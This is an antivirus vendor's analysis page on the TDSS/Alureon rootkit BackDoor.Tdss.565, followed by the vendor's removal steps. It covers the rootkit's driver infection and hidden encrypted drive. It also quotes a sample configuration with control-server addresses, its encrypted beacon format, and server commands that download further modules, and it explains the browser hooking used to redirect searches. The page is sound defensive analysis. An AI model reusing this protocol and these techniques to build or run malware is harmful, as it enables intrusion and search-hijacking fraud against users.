Meine Bibliothek
Meine Bibliothek

+ Zur Bibliothek hinzufügen

Support

Ihre Anfragen

Rufen Sie uns an

+7 (495) 789-45-86

Profil

BackDoor.Tdss.565

(TR/Patched.Gen, Packed.Win32.TDSS.z, TR/Crypt.ZPACK.Gen, Parser error, TR/PCK.Tdss.Z.2256,Trojan:Win32/Alureon.CT,Virus:Win32/Alureon.A,Packed.Win32.TDSS.z,Rootkit.Win32.TDSS.u, Generic.dx!fpw, TR/PCK.Tdss.Z.2341, Trojan:Win32/Alureon.CT, System error, TR/PCK.Tdss.Z.2318, TR/TDss.FL, TrojanDropper:Win32/Alureon.Q, TR/PCK.Tdss.Z.2333)

Added to the Dr.Web virus database: 2009-10-06

Virus description added:

Vulnerable OS: Windows XP/Windows Vista/Windows 7

Technical Details

For those interested in complete description of BackDoor.Tdss.565, we recommend to read the relevant (Fr) article prepared by Doctor Web Virus Analysts.

BackDoor.Tdss.565 injects its code into the system process on installation, and then uses it to create and start a temporary tdlserv service:

[HKLM\system\currentcontrolset\services\tdlserv]
Imagepath=" \??\C:\DOCUME~1\\LOCALS~1\Temp\3.tmp"
Type=1

To ensure future automatic loading, this driver infects the system driver of the physical drive where the operating system resides (for instance, atapi.sys). Original bytes of the infected driver and the rootkit core code are preserved in last disk sectors. Also, last disk sectors serve as a hidden encrypted virtual drive, which is used to store the tdlcmd.dll and tdlwsp.dll user mode components and the config.ini configuration file. The rootkit hides changes to the operating system and implements injection of user mode components according to the configuration file.

Example of the config.ini contents:

[main]
version=3.0
botid=4513c055-11f2-8278-7863-3d82b9b804c8
affid=10002
subid=0
installdate=1.10.2009 9:4:38
[injector]
svchost.exe=tdlcmd.dll
*=tdlwsp.dll
[tdlcmd]
servers=https://h3456345.cn/;https://h9237634.cn/;https://212.117.174.173/

TDLCMD.DLL Module

This module updates the rootkit and its components from a control server. From its own name, the module derives the path to the virtual drive created by the rootkit driver, and then reads information on control servers, bot identifier, etc from the config.ini. It also receives information on system version and language, and default Internet browser. The information collected is presented in the following format:

4513c055-11f2-8278-7863-3d82b9b804c8|10002|0|3.0|3.1|5.1 2600 SP1.0|ru-ru|iexplore
(botid|affid|Subid|bot_version|loader_version|system_version|locale|browser)

The string is encrypted by RC4 with the control server name as a key (for instance, h3456345.cn), then the result is encoded to base64. The resulting query is then sent to the control server.

Example:

https://h3456345.cn/gJdwOLwW21dVuODFVDCvEuknIdD1k+Bc8Rnq3uFl2VbBscU44iqKKslUgRXjw2Rb
/Vk48jWDFc3HwZ+Mno1/yx+sVdbaH0XgRMuAczm9JI2KBg==

The server replies with an encoded set of instructions, which the rootkit then executes. These instructions comprises of names of function implemented in loaded malicious modules and their execution parameters.

Example:

botnetcmd.ModuleDownloadUnxor('https://h3456345.cn/2c0lfrNDklNZveSSVX6nFesyPdarl/5J8ErqwbRkjV3ctsI4rHmDeMFWyUan0Q==', '\\?\globalroot\systemroot\system32\botnetwsp8y.dll')
botnetcmd.InjectorAdd('*','botnetwsp8y.dll')
botnetcmd.SetCmdDelay(14400)
botnetcmd.FileDownloadRandom('https://h3456345.cn/2c0lfrNDklZZveSSVX6nFesyPdarl/5J8ErqwbRkjV3ctsI4rHmDeMFWyUan0Q==','\\?\globalroot\systemroot\system32\botnet.dat')
tdlcmd.ConfigWrite('tdlcmd','delay','1800')
tdlcmd.ConfigWrite('tdlcmd','servers','https://h3456345.cn/;https://h9237634.cn/;https://212.117.174.173/')

The links in the execution parameters are encrypted commands for the control server. For instance,"2c0lfrNDklNZveSSVX6nFesyPdarl/5J8ErqwbRkjV3ctsI4rHmDeMFWyUan0Q==" equals "module|1!4513c055-11f2-8278-7863-3d82b9b804c8!". The files downloaded from these links are encoded using the bot identifier (4513c055-11f2-8278-7863-3d82b9b804c8).

In this example, botnetwsp8y.dll is an update for the tdlwsp.dll module, and the botnet.dat is a list of control servers.

TDLWSP.DLL Module

This module injects itself into all processes according to the configuration file, but operates in those processes only which names contain one of the following substrings: explore, firefox, chrome, opera, safari, netscape, avant, or browser. The module hooks the mswsock.dll!WSPStartupfunction, and then in the SPI(service provider interface) table of its handler (WSPStartup) replaces the WSPSend, WSPRecv and WSPCloseSocket procedures with its own. Thus, this module operates as a common LSP (Layered Service Provider).

After the functions are hooked, the rootkit controls all user search queries, therefore it can substitute results returned by search engines and forward the user to malicious websites. Instructions on where to forward the user and how to process key words are received from the control server.

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Download Dr.Web

Download by serial number

Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Download Dr.Web

Download by serial number

  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android